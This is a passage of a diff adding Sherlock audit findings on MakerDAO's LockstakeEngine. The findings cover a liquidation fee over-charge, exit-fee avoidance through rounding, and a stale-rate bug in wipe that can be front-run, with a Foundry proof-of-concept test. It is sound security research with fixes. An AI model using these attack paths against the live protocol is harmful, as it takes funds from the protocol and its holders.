burn = wad * fee_ / WAD; + if (burn > 0) { + mkr.burn(address(this), burn); + } +``` + +However, in the case of liquidations the fee is computed as: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L442-L444 + +```solidity + if (left > 0) { + burn = _min(sold * fee / (WAD - fee), left); + mkr.burn(address(this), burn); +``` + +this leads to over-charging the fee by a factor of 1/(WAD-fee) + +Given that MakerDAO's [governance settings intend to use double digit percentages](https://mips.makerdao.com/mips/details/MIP101#4-3-8-3) the impact will result in a substantial additional fee taken, to the detriment of liquidated accounts causing them an additional loss of funds compared to the intended amount + + + +## Impact + +The impact is effectively the same as taking an additional fee on the fee being assessed, these examples are based on [MIP-101](https://mips.makerdao.com/mips/details/MIP101) + +Ranging from 15% to 40%: +- We can see that at 15%, the math is taking an additional 17% of fee +- And at 40% an additional 66.67% is being assessed + +Screenshot 2024-08-05 at 10 16 48 + + +|Fee |AMT |On Free |On Remove |Delta |% | +|--------|--------|--------------------------|--------------------------|--------|------| +|1.50E+17|1.00E+18|150,000,000,000,000,000.00|176,470,588,235,294,000.00|2.65E+16|117.65| +|2.50E+17|1.00E+18|250,000,000,000,000,000.00|333,333,333,333,333,000.00|8.33E+16|133.33| +|3.00E+17|1.00E+18|300,000,000,000,000,000.00|428,571,428,571,429,000.00|1.29E+17|142.86| +|4.00E+17|1.00E+18|400,000,000,000,000,000.00|666,666,666,666,667,000.00|2.67E+17|166.67| + + +Full formulas and chart are available here: https://docs.google.com/spreadsheets/d/1SzoBoI2PIO1lyFlVXXA0rg1YwK2HHKL4fMuFb-9N19U/edit?usp=sharing + + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L439-L443 + + +## Tool used + +Manual Review + +## Recommendation + +This line: +```solidity +burn = _min(sold * fee / (WAD - fee), left); +``` + +Should be changed to +```solidity +burn = _min(sold * fee / (WAD), left); +``` \ No newline at end of file diff --git a/002/106.md b/002/106.md new file mode 100644 index 0000000..2525289 --- /dev/null +++ b/002/106.md @@ -0,0 +1,63 @@ +Petite Arctic Mule + +Medium + +# LockStakeEngine::OnRemove wrong fee amount calculation + +## Summary +The LockStakeEngine::onRemove function (called when an auction ends) collects the wrong amount of exit fee from the left collateral + +## Vulnerability Detail +The LockStakeEngine::onRemove function is called by the LockstakeClipper contract when the auction ends. It passes the amount of collateral sold and the amount left, and the engine handles the leftovers in the following way: if any collateral is left after the auction, the engine collects the exit fee due for the sold collateral from the leftover-collateral. Whatever is left after that, is put back into the URN: + +```solidity +function onRemove(address urn, uint256 sold, uint256 left) external auth { + uint256 burn; + uint256 refund; + if (left > 0) { + burn = _min(sold * fee / (WAD - fee), left); + mkr.burn(address(this), burn); + unchecked { refund = left - burn; } + if (refund > 0) { + // The following is ensured by the dog and clip but we still prefer to be explicit + require(refund <= uint256(type(int256).max), "LockstakeEngine/overflow"); + vat.slip(ilk, urn, int256(refund)); + vat.frob(ilk, urn, urn, address(0), int256(refund), 0); + lsmkr.mint(urn, refund); + } + } + urnAuctions[urn]--; + emit OnRemove(urn, sold, burn, refund); + } +``` + +Note that the calculation used to determine the fee is `sold * fee / (WAD - fee)` (the burned amount is the minimum between the result and the leftover collateral). However, this calculation is wrong. The fee should be calculated using this formula: `uint256 burn = wad * fee_ / WAD;`, in the same way it is done in the _free function here:[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L373](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L373) because `fee_` is given as a ratio where WAD represents 1 as can be seen [here](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L140). + +### Numeric Example + +1. A URN with total collateral (Mkr) worth of $10500 is liquidated +2. At the end of the auction $10000 worth of collateral is sold and $500 worth is left +3. Assume the fee is 15% (quoting from the lockstake folder readme: *"(where `fee` will typically be 15%)"* ) +4. The due fee is $10000*0.15 = $1500. +5. The fee calculated is $10000*0.15/(1-0.15) = $1764 +6. This means that an amount of Mkr worth $1764-$1500 = $264 is burned from the user's leftover Mkr unnecessarily causing them a loss. +7. In percentage terms: the user loses 264/10500 = 2.52% of the original urn collateral +8. If the exit fee increases above 20.7% , the user loses more than %5 of the collateral value + +### Root cause +Wrong calculation of fee in LockStakeEngine::OnRemove: sold * fee / (WAD - fee) instead of sold * fee / WAD + + +## Impact + +As can be seen in the numeric example above, this error causes any liquidated user with enough leftover a loss of 2.5% typically and possibly above 5% depending of the value of fee. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L438 + +## Tool used + +Manual Review + +## Recommendation +Fix the formula in the code above to the correct form: ` burn = _min(sold * fee / WAD , left);` \ No newline at end of file diff --git a/002/118.md b/002/118.md new file mode 100644 index 0000000..d8d812e --- /dev/null +++ b/002/118.md @@ -0,0 +1,49 @@ +Proud Porcelain Antelope + +Medium + +# LockstakeEngine users can avoid paying exit fees + +# LockstakeEngine users can avoid paying exit fees + +## Summary + +LockstakeEngine introduces exit fee for users who would like to withdraw their MKR. However, it's possible to withdraw all funds without paying any fees, by withdrawing funds in small portions. + +## Vulnerability Detail + +The following code is used for calculation of the amount of exit fee in `_free()` function: `uint256 burn = wad * fee_ / WAD;`. Due to rounding down, the result of the calculation can be up to 1 wei of MKR smaller than the result of exact division. This allows splitting withdrawal into many small withdrawals, each of which will save 1 wei of MKR for user. For example, if exit fee is 15% (i.e. $fee\_ = 0.15 \cdot 10^{18}$), a user can withdraw their funds in portions of 6 wei of MKR each, paying in total zero exit fee: +$(6 \cdot 0.15 \cdot 10^{18}) / WAD = (0.9 \cdot 10^{18})/10^{18} = 0$ + +## Impact + +Not paying exit fees can be considered as stealing the corresponding amount of funds from the protocol, because not burning MKR results in not increasing the price of MKR. This leads to all MKR holders not gaining expected profit from burn operation. + +As stated in the [README](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/README.md?plain=1#L127), exit fee will typically be 15%. Combining this with the fact that the vulnerability can be exploited by any LockstakeEngine user, the total amount of funds affected is the same order of magnitude as the total amount of MKR. Therefore such vulnerability can potentially lead to up to 15% losses for the protocol which is classified as high impact. + +## Likelihood + +Despite the fact that vulnerability can be exploited by any user, withdrawing all funds require a large number of transactions, which makes this vulnerability hard to exploit. Therefore likelihood of the issue is low. + +## Severity + +Combining low likelihood and high impact together results in medium severity. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L373 + +## Tool used + +Manual Review + +## Recommendation + +Change the rounding down into rounding up in the calculation of the fee amount: + +```diff +- uint256 burn = wad * fee_ / WAD; ++ uint256 burn = _divup(wad * fee_, WAD); +``` + +This way partial withdraws become not profitable because each of them will always burn an amount of fee that is not less than the exact amount. Also, this recommendation doesn't decrease the user experience of any regular user, because it'll burn at most 1 extra wei of MKR per each `free()` operation. \ No newline at end of file diff --git a/003/066.md b/003/066.md new file mode 100644 index 0000000..d05fca4 --- /dev/null +++ b/003/066.md @@ -0,0 +1,484 @@ +Unique Pistachio Chipmunk + +High + +# ```LockstakeEngine.wipe()``` does not use the most current stability rate, as a result, the user will repay less than he is supposed to and the protocol will lose funds. + +### Summary + +```LockstakeEngine.wipe()``` does not use the most current stability rate, as a result, the user might repay less than he is supposed to and the protocol will lose funds. + +Even ```jug.drip(ilk)``` is called periodically to bring stablilty rate up to date, a user can still front-run these update transactions and use the old rate to repay less debt (or pay the same amount but cancel more debt from ```art```). + +The same problem for ``wipeAll``. Our analysis will focus on ```wipe()``` below. + +This attack can be replayed indefinitely, therefore, I mark this finding as ```high```. + +### Root Cause + +```LockstakeEngine.wipe()``` does not call ```jug.drip(ilk)``` first to calculate the most up-to-date stablity fee. Instead, it uses the old rate to calculate ```dart``` and the amount to deduct from the remaining debt ```art```. Therefore, the used rate is smaller than what it is supposed to be, leading to deduct more debt from ```art``` then it is supposed to. This essentially allows the borrower to replay less than he is supposed to. A loss of funds for the protocol. This occurs to every borrower, so I marked this as high. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L391-L399](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L391-L399) + +### Internal pre-conditions + +Nobody calls ```jug.drip(ilk)``` right before the call of ```wipe()```. Or the borrower front-runs a ```jug.drip(ilk)``` transaction to take advantage of the old rate to pay less for his debt. + +### External pre-conditions + +Time elapsed since last call of ```jug.drip(ilk)```, so there is a new rate that needs to be calcualted. + +### Attack Path + +In the following, we show Bob opens a urn with 2000 ether of collateral and borrows 20 ether of nst: + +Balances for urn + mkr bal: 0 + nst bal: 0 + vat.dai: 0 + vat.sin: 0 + vat.gem(ilk, a): 0 + ink: 2000000000000000000000 + art: 10000000000000000000 + +Bob's balances: + mkr bal: 98000000000000000000000 + nst bal: 20000000000000000000 + vat.dai: 0 + vat.sin: 0 + vat.gem(ilk, a): 0 + ink: 0 + art: 0 + +After 100 days (this is an exaggeration but it shows the negative effect of not using a current rate), the new stability rate is: +2180484675123196105405976966. The ```wipe()``` function uses the old rate of 2000000000000000000000000000. Suppose Bob repays 10 ether of nst, then it will cancel half of the debt, with a remaining debt of ```art = 5000000000000000000```. + +On the other hand, if the ```wipe()``` function uses the new rate of 2180484675123196105405976966. Then Bob repays 10 ether of nst, due to the increase of rate, less than half of the debt will be cancelled, with a remaining debt of ```art = 5413863663391715485```. + +In summary, due to the use of an old rate of 2000000000000000000000000000 instead of the new rate of 2180484675123196105405976966. Bob was able to repay more debt than he is supposed to with 10 ether of nst. This leads to the loss of funds for the protcol. This occurs frequently for each borrower, thus I mark this finding as *high*. + + + + +### Impact + +```LockstakeEngine.wipe()``` does not use the most current stability rate, as a result, the user will repay less than he is supposed to and the protocol will lose funds. + +### PoC + +comment/uncomment the line ```dss.jug.drip(ilk);``` to simulate the use of old rate or new rate. This also simulates the front-running situation. + +One can see that with old/new rate, the remaining debt for Bob is not the same. Bob will be able to repay more debt with the same 10 ether of nst when he uses the old rate (maybe via front-running ```dss.jug.drip(ilk);```). + +run ```forge test --match-test testWipe1 -vv```. + +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "dss-test/DssTest.sol"; + +import "dss-interfaces/Interfaces.sol"; +import { LockstakeClipper } from "src/LockstakeClipper.sol"; +import { LockstakeEngineMock } from "test/mocks/LockstakeEngineMock.sol"; +import { PipMock } from "test/mocks/PipMock.sol"; + +import { LockstakeEngine } from "src/LockstakeEngine.sol"; +import { VoteDelegateFactoryMock, VoteDelegateMock } from "test/mocks/VoteDelegateMock.sol"; +import { NstJoinMock } from "test/mocks/NstJoinMock.sol"; +import { NstMock } from "test/mocks/NstMock.sol"; +import { MkrNgtMock } from "test/mocks/MkrNgtMock.sol"; +import { LockstakeMkr } from "src/LockstakeMkr.sol"; +import { GemMock } from "test/mocks/GemMock.sol"; + + +interface VatLike { + function dai(address) external view returns (uint256); + function sin(address) external view returns (uint256); + function gem(bytes32, address) external view returns (uint256); + function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); + function urns(bytes32, address) external view returns (uint256, uint256); + function rely(address) external; + function file(bytes32, bytes32, uint256) external; + function init(bytes32) external; + function hope(address) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function fold(bytes32, address, int256) external; +} + +interface GemLike { + function balanceOf(address) external view returns (uint256); +} + +interface VowLike { + function flap() external returns (uint256); + function Sin() external view returns (uint256); + function Ash() external view returns (uint256); + function heal(uint256) external; + function bump() external view returns (uint256); + function hump() external view returns (uint256); +} + +interface DogLike { + function Dirt() external view returns (uint256); + function chop(bytes32) external view returns (uint256); + function ilks(bytes32) external view returns (address, uint256, uint256, uint256); + function rely(address) external; + function file(bytes32, uint256) external; + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function bark(bytes32, address, address) external returns (uint256); +} + +interface SpotterLike { + function file(bytes32, bytes32, address) external; + function file(bytes32, bytes32, uint256) external; + function poke(bytes32) external; +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); + function newStairstepExponentialDecrease(address) external returns (address); +} + +interface CalcLike { + function file(bytes32, uint256) external; +} + + +contract LockstakeClipperTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + PipMock pip; + GemLike dai; + VowLike vow; + VatLike vat; + + DSTokenAbstract mkr; + VoteDelegateFactoryMock voteDelegateFactory; + NstMock nst; + MkrNgtMock mkrNgt; + LockstakeMkr lsMkr; + NstJoinMock nstJoin; + GemMock ngt; + + LockstakeEngine engine; + LockstakeClipper clip; + LockstakeMkr lsmkr; + + + // Exchange exchange; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + address ali; + + bytes32 constant ilk = "LSE"; + + + uint256 constant startTime = 604411200; // Used to avoid issues with `block.timestamp` + + function _ink(bytes32 ilk_, address urn_) internal view returns (uint256) { + (uint256 ink_,) = dss.vat.urns(ilk_, urn_); + return ink_; + } + function _art(bytes32 ilk_, address urn_) internal view returns (uint256) { + (,uint256 art_) = dss.vat.urns(ilk_, urn_); + return art_; + } + + function ray(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 9; + } + + function rad(uint256 wad) internal pure returns (uint256) { + return wad * 10 ** 27; + } + + function setUp() public { + vm.createSelectFork(vm.envString("ETH_RPC_URL")); + vm.warp(startTime); + + dss = MCD.loadFromChainlog(LOG); + + pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY"); + dai = GemLike(dss.chainlog.getAddress("MCD_DAI")); + vow = VowLike(dss.chainlog.getAddress("MCD_VOW")); + vat = VatLike(dss.chainlog.getAddress("MCD_VAT")); + + + mkr = DSTokenAbstract(dss.chainlog.getAddress("MCD_GOV")); + voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); + nst = new NstMock(); + nstJoin = new NstJoinMock(address(vat), address(nst)); + ngt = new GemMock(0); + mkrNgt = new MkrNgtMock(address(mkr), address(ngt), 24_000); + lsmkr = new LockstakeMkr(); + + + + + + + + vm.startPrank(pauseProxy); + dss.vat.init(ilk); // init the collateral info identified by ```ilk``` + dss.vat.fold(ilk, address(dss.vow), 1*10**27); // set initial rate for ilk + +/* + function poke(bytes32 ilk) external { + (bytes32 val, bool has) = ilks[ilk].pip.peek(); + uint256 spot = has ? rdiv(rdiv(mul(uint(val), 10 ** 9), par), ilks[ilk].mat) : 0; par = 1 RAY, + vat.file(ilk, "spot", spot); + emit Poke(ilk, val, spot); + } +*/ + // set spot price for ilk via set price for pip price + + console2.log("set spot price $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + pip = new PipMock(); + pip.setPrice(4 ether); + dss.spotter.file(ilk, "pip", address(pip)); // oracle + dss.spotter.file(ilk, "mat", ray(2 ether)); // 200% liquidation ratio for easier test calcs + dss.spotter.poke(ilk); + (,, uint256 spot1,,) = dss.vat.ilks(ilk); // so spot price = poke price / 2 + console2.log("spot price: ", spot1); // 4 ether * 10 ** 9 + + + dss.vat.file(ilk, "dust", rad(10 ether)); + dss.vat.file(ilk, "line", rad(1000000 ether)); + dss.vat.file("Line", dss.vat.Line() + rad(1000000 ether)); + + + dss.dog.file(ilk, "chop", 1 ether); // no chop let's say + dss.dog.file(ilk, "hole", rad(1000 ether)); + dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether)); + + // engine = new LockstakeEngineMock(address(dss.vat), ilk); // let's use a real one ????? + + engine = new LockstakeEngine(address(voteDelegateFactory), address(nstJoin), ilk, address(mkrNgt), address(lsmkr), 15 * WAD / 100); + engine.file("jug", address(dss.jug)); + dss.jug.init(ilk); + dss.jug.file(ilk, "duty", 100000001 * 10**27 / 100000000); // decides rate + + dss.vat.rely(address(engine)); + vm.stopPrank(); + + lsmkr.rely(address(engine)); + + + address calc = CalcFabLike(dss.chainlog.getAddress("CALC_FAB")).newStairstepExponentialDecrease(address(this)); + CalcLike(calc).file("cut", RAY - ray(0.01 ether)); // 1% decrease + CalcLike(calc).file("step", 1); // Decrease every 1 second + + // dust and chop filed previously so clip.chost will be set correctly + clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine)); + clip.file("vow", address(vow)); + clip.file("buf", ray(1.25 ether)); // 25% Initial price buffer + clip.file("calc", address(calc)); // File price contract + clip.file("cusp", ray(0.3 ether)); // 70% drop before reset + clip.file("tail", 3600); + clip.file("tip", rad(100 ether)); // Flat fee of 100 DAI + clip.file("chip", 0.02 ether); // Linear increase of 2% of tab + clip.upchost(); // what does it do? // dust: 20 ether * 10**27, chop: 1.1 ether = chost = 22 ether * 10**27 + console.log("chost: ", clip.chost()); + + clip.rely(address(dss.dog)); + + vm.startPrank(pauseProxy); + engine.rely(address(clip)); + vm.stopPrank(); + + vm.startPrank(pauseProxy); + dss.dog.file(ilk, "clip", address(clip)); // + dss.dog.rely(address(clip)); + dss.vat.rely(address(clip)); + vm.stopPrank(); + + ali = address(111); + + dss.vat.hope(address(clip)); // can[address(this), clip] = 1 + vm.prank(ali); dss.vat.hope(address(clip)); // can[ali, clip] = 1 + + vm.startPrank(pauseProxy); + dss.vat.suck(address(0), address(ali), rad(1000 ether)); + vm.stopPrank(); + } + + function printAuction(uint id) public + { + LockstakeClipper.Sale memory sale; + + (sale.pos, sale.tab, sale.lot, sale.tot, sale.usr, sale.tic, sale.top) = clip.sales(id); + console2.log("\n***************************************************************"); + console2.log("sale.pos: ", sale.pos); + console2.log("sale.tab: ", sale.tab); + console2.log("sale.lot: ", sale.lot); + console2.log("sale.tot: ", sale.tot); + console2.log("sale.usr:", sale.usr); + console2.log("sale.tic: ", sale.tic); + console2.log("sale.top: ", sale.top); + console2.log("***************************************************************\n"); + } + + + function printBalance(address a, string memory name) public{ + console2.log("**************************************************"); + console2.log("Vat info for ", name); + console2.log("mkr bal: ", mkr.balanceOf(a)); + console2.log("nst bal: ", nst.balanceOf(a)); + console2.log("vat.dai: ", dss.vat.dai(a)); + console2.log("vat.sin: ", dss.vat.sin(a)); + console2.log("vat.gem(ilk, a): ", dss.vat.gem(ilk, a)); + (uint256 ink, uint256 art) = dss.vat.urns(ilk, a); + console2.log("ink: ", ink); + console2.log("art: ", art); + console2.log("**************************************************"); + } + + + function testWipe1() public { + console2.log("jug", address(dss.jug)); + + address Bob = address(123); + address kpr = address(456); + + + deal(address(mkr), Bob, 100_000 * 10**18); // 100_000 ether + deal(address(ngt), Bob, 100_000 * 24_000 * 10**18); + + //printBalance(Bob, "Bob"); + //printBalance(address(engine), "engine"); + + vm.startPrank(Bob); // 1. open a urn + address urn = engine.open(0); + mkr.approve(address(engine), 100_000 * 10**18); + engine.lock(urn, 2000 * 10**18, 0); + + engine.draw(urn, address(Bob), 20 ether); + vm.stopPrank(); + printBalance(Bob, "Bob"); + printBalance(address(urn), "urn"); + printBalance(address(engine), "engine"); + + + (, uint256 oldRate,,,) = vat.ilks(ilk); + console2.log("oldRate: ", oldRate); + vm.warp(block.timestamp + 100 days); + dss.jug.drip(ilk); // comment/uncomment to simulate race condition + (, uint256 newRate,,,) = vat.ilks(ilk); + console2.log("newRate: ", newRate); + + + console2.log("\n \n repay the debt with 10 ether of nat..."); + vm.startPrank(Bob); + nst.approve(address(engine), 10 ether); // after pay 10 ether, we still half more than half debt due to rate incrase + engine.wipe(urn, 10 ether); // it might use a stale rate to calcualte the debt to be deducted from art + vm.stopPrank(); + + printBalance(Bob, "Bob"); + printBalance(address(urn), "urn"); + printBalance(address(engine), "engine"); // where is mkr and lsmkr? + } + + + + + function testTake1() public { + console2.log("jug", address(dss.jug)); + + address Bob = address(123); + address kpr = address(456); + + + deal(address(mkr), Bob, 100_000 * 10**18); // 100_000 ether + deal(address(nst), Bob, 123_000 * 10**18); + deal(address(ngt), Bob, 100_000 * 24_000 * 10**18); + + //printBalance(Bob, "Bob"); + //printBalance(address(engine), "engine"); + + vm.startPrank(Bob); // 1. open a urn + address urn = engine.open(0); + mkr.approve(address(engine), 100_000 * 10**18); + engine.lock(urn, 2000 * 10**18, 0); + //printBalance(address(urn), "urn"); + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + engine.draw(urn, address(Bob), 20 ether); + vm.stopPrank(); + + console2.log("\n after draw....................."); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + + // lower the price of collaterl: + vm.startPrank(pauseProxy); + vat.file(ilk, "spot", 123); + vm.stopPrank(); // now we can liquidate urn + + console2.log("\n starto bark$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"); + + assertEq(clip.kicks(), 0); + dss.dog.bark(ilk, urn, kpr); + assertEq(clip.kicks(), 1); + console2.log("\n after barking.............."); + printAuction(1); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(clip), "clip"); // where is mkr and lsmkr? + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + + // Bid so owe (= 25 * 5 = 125 RAD) > tab (= 110 RAD) + // Readjusts slice to be tab/top = 25 + vm.startPrank(pauseProxy); + dss.vat.file(ilk, "dust", rad(20 ether)); // so the actual chost should be douled + vm.stopPrank(); + + vm.prank(ali); + clip.take({ + id: 1, + amt: 2 ether, + max: 5000000000000000000000000000, + who: address(ali), // sli is the keeper + data: "" + }); + + console2.log("After clip.take...."); + + + printAuction(1); + //printBalance(Bob, "Bob"); + //printBalance(address(urn), "urn"); + //printBalance(address(clip), "clip"); // where is mkr and lsmkr? + //printBalance(address(engine), "engine"); // where is mkr and lsmkr? + + vm.warp(block.timestamp + 3600); + (bool needsRedo, uint256 price, uint256 lot, uint256 tab) = clip.getStatus(1); + console2.log("needsRedo: ", needsRedo); + + console2.log("current: ", clip.chost()); + + // clip.upchost(); // comment/uncomment this line to simulate the race condition + console2.log("The actual chost: ", clip.chost()); + + address frank = address(888); + clip.redo(1, frank); + printBalance(frank, "frank"); + } + +} + +``` + +### Mitigation + +Call ```jug.drip(ilk)``` at the beginning of the wipe() and wipeAll() function so that they will always use the new rate. \ No newline at end of file diff --git a/003/077.md b/003/077.md new file mode 100644 index 0000000..8b6dd4c --- /dev/null +++ b/003/077.md @@ -0,0 +1,99 @@ +Raspy Daffodil Wasp + +Medium + +# LockstakeEngine.wipe did not update the rate + +### Summary + +LockstakeEngine.wipe did not update the rate + +### Root Cause + +`LockstakeEngine.draw` uses the return value of `jug.drip` as rate, and the rate is the updated rate. +However, wipe uses the `vate.ilks` function to obtain the rate, which is not updated at this time. + +jug.drip function: +https://github.com/makerdao/dss/blob/fa4f6630afb0624d04a003e920b0d71a00331d98/src/jug.sol#L122 +```solidity + function drip(bytes32 ilk) external returns (uint rate) { + require(now >= ilks[ilk].rho, "Jug/invalid-now"); + (, uint prev) = vat.ilks(ilk); +@> rate = _rmul(_rpow(_add(base, ilks[ilk].duty), now - ilks[ilk].rho, ONE), prev); + vat.fold(ilk, vow, _diff(rate, prev)); + ilks[ilk].rho = now; + } +``` + +LockstakeEngine: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L382 + +```solidity + function draw(address urn, address to, uint256 wad) external urnAuth(urn) { +@> uint256 rate = jug.drip(ilk); + uint256 dart = _divup(wad * RAY, rate); + require(dart <= uint256(type(int256).max), "LockstakeEngine/overflow"); + vat.frob(ilk, urn, address(0), address(this), 0, int256(dart)); + nstJoin.exit(to, wad); + emit Draw(urn, to, wad); + } + + function wipe(address urn, uint256 wad) external { + nst.transferFrom(msg.sender, address(this), wad); + nstJoin.join(address(this), wad); +@> (, uint256 rate,,,) = vat.ilks(ilk); + uint256 dart = wad * RAY / rate; + require(dart <= uint256(type(int256).max), "LockstakeEngine/overflow"); + vat.frob(ilk, urn, address(0), address(this), 0, -int256(dart)); + emit Wipe(urn, wad); + } +``` + +See the `wipe` implementation in another older version: + +https://github.com/makerdao/dss-allocator/blob/6304bfd3f567630636244cb2ca3b58dd415592fa/src/AllocatorVault.sol#L142 + +```solidity + function wipe(uint256 wad) external auth { + nst.transferFrom(buffer, address(this), wad); + nstJoin.join(address(this), wad); +@> uint256 rate = jug.drip(ilk); + uint256 dart = wad * RAY / rate; + require(dart <= uint256(type(int256).max), "AllocatorVault/overflow"); + vat.frob(ilk, address(this), address(0), address(this), 0, -int256(dart)); + emit Wipe(msg.sender, wad); + } +``` + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The user runs `LockstakeEngine.draw` +2. `rate` has been updated after a period of time, but no other user has performed `draw`, and rate has not been updated. +3. The user executed `LockstakeEngine.wipe` using the old rate + +### Impact + +The old rate was used, resulting in the loss of funds. + +### PoC + +_No response_ + +### Mitigation + +```diff + function wipe(uint256 wad) external auth { +- (, uint256 rate,,,) = vat.ilks(ilk); ++ uint256 rate = jug.drip(ilk); + } +``` \ No newline at end of file diff --git a/003/084.md b/003/084.md new file mode 100644 index 0000000..50861cf --- /dev/null +++ b/003/084.md @@ -0,0 +1,143 @@ +Interesting Tiger Mole + +Medium + +# In LockstakeEngine.sol, the functions wipe(), wipeAll(), and free() lack the call to jug.drip(ilk) + +### Summary + +In LockstakeEngine.sol, the functions wipe(), wipeAll(), and free() lack the call to jug.drip(ilk). The absence of jug.drip(ilk) in wipe() and wipeAll() results in users paying fewer fees, while the absence of jug.drip(ilk) in free() causes the collateral value to fall below the debt value after users withdraw collateral, leading to a loss for the protocol. + +### Root Cause + + +https://docs.makerdao.com/smart-contract-modules/rates-module/jug-detailed-documentation +From the MakerDAO documentation, we know that The primary function of the Jug smart contract is to accumulate stability fees for a particular collateral type whenever its drip() method is called. This effectively updates the accumulated debt for all Vaults of that collateral type as well as the total accumulated debt as tracked by the Vat (global) and the amount of Dai surplus (represented as the amount of Dai owned by the Vow). + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L391 +```javascript + function wipe(address urn, uint256 wad) external { + nst.transferFrom(msg.sender, address(this), wad); + nstJoin.join(address(this), wad); +@> (, uint256 rate,,,) = vat.ilks(ilk); +@> uint256 dart = wad * RAY / rate; + require(dart <= uint256(type(int256).max), "LockstakeEngine/overflow"); + vat.frob(ilk, urn, address(0), address(this), 0, -int256(dart)); + emit Wipe(urn, wad); + } + + function wipeAll(address urn) external returns (uint256 wad) { + (, uint256 art) = vat.urns(ilk, urn); + require(art <= uint256(type(int256).max), "LockstakeEngine/overflow"); +@> (, uint256 rate,,,) = vat.ilks(ilk); +@> wad = _divup(art * rate, RAY); + nst.transferFrom(msg.sender, address(this), wad); + nstJoin.join(address(this), wad); + vat.frob(ilk, urn, address(0), address(this), 0, -int256(art)); + emit Wipe(urn, wad); + } +``` +However, in both wipe() and wipeAll(), an outdated rate is used. In wipe(), dart will increase, allowing users to repay more debt. In wipeAll(), wad will decrease, meaning that less Dai is used to repay all the debt. + +The lost stability fees depend on the time since the last call to jug.drip. The longer the current time is from the last call to jug.drip, the greater the lost stability fees. + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L340 + +```javascript +function free(address urn, address to, uint256 wad) external urnAuth(urn) returns (uint256 freed) { + freed = _free(urn, wad, fee); + mkr.transfer(to, freed); + emit Free(urn, to, wad, freed); + } + +function _free(address urn, uint256 wad, uint256 fee_) internal returns (uint256 freed) { + require(wad <= uint256(type(int256).max), "LockstakeEngine/overflow"); + address urnFarm = urnFarms[urn]; + if (urnFarm != address(0)) { + LockstakeUrn(urn).withdraw(urnFarm, wad); + } + lsmkr.burn(urn, wad); +@> vat.frob(ilk, urn, urn, address(0), -int256(wad), 0); + vat.slip(ilk, urn, -int256(wad)); + address voteDelegate = urnVoteDelegates[urn]; + if (voteDelegate != address(0)) { + VoteDelegateLike(voteDelegate).free(wad); + } + uint256 burn = wad * fee_ / WAD; + if (burn > 0) { + mkr.burn(address(this), burn); + } + unchecked { freed = wad - burn; } // burn <= wad always + } +``` +In the free() function, using an outdated rate might allow users to withdraw more collateral, resulting in the collateral value being less than the debt value. + +https://github.com/makerdao/dss/blob/fa4f6630afb0624d04a003e920b0d71a00331d98/src/vat.sol#L142C2-L180C6 +```javascript + // --- CDP Manipulation --- + function frob(bytes32 i, address u, address v, address w, int dink, int dart) external { + // system is live + require(live == 1, "Vat/not-live"); + + Urn memory urn = urns[i][u]; + Ilk memory ilk = ilks[i]; + // ilk has been initialised + require(ilk.rate != 0, "Vat/ilk-not-init"); + + urn.ink = _add(urn.ink, dink); + urn.art = _add(urn.art, dart); + ilk.Art = _add(ilk.Art, dart); + + int dtab = _mul(ilk.rate, dart); + @> uint tab = _mul(ilk.rate, urn.art); + debt = _add(debt, dtab); + + // either debt has decreased, or debt ceilings are not exceeded + require(either(dart <= 0, both(_mul(ilk.Art, ilk.rate) <= ilk.line, debt <= Line)), "Vat/ceiling-exceeded"); + // urn is either less risky than before, or it is safe + @> 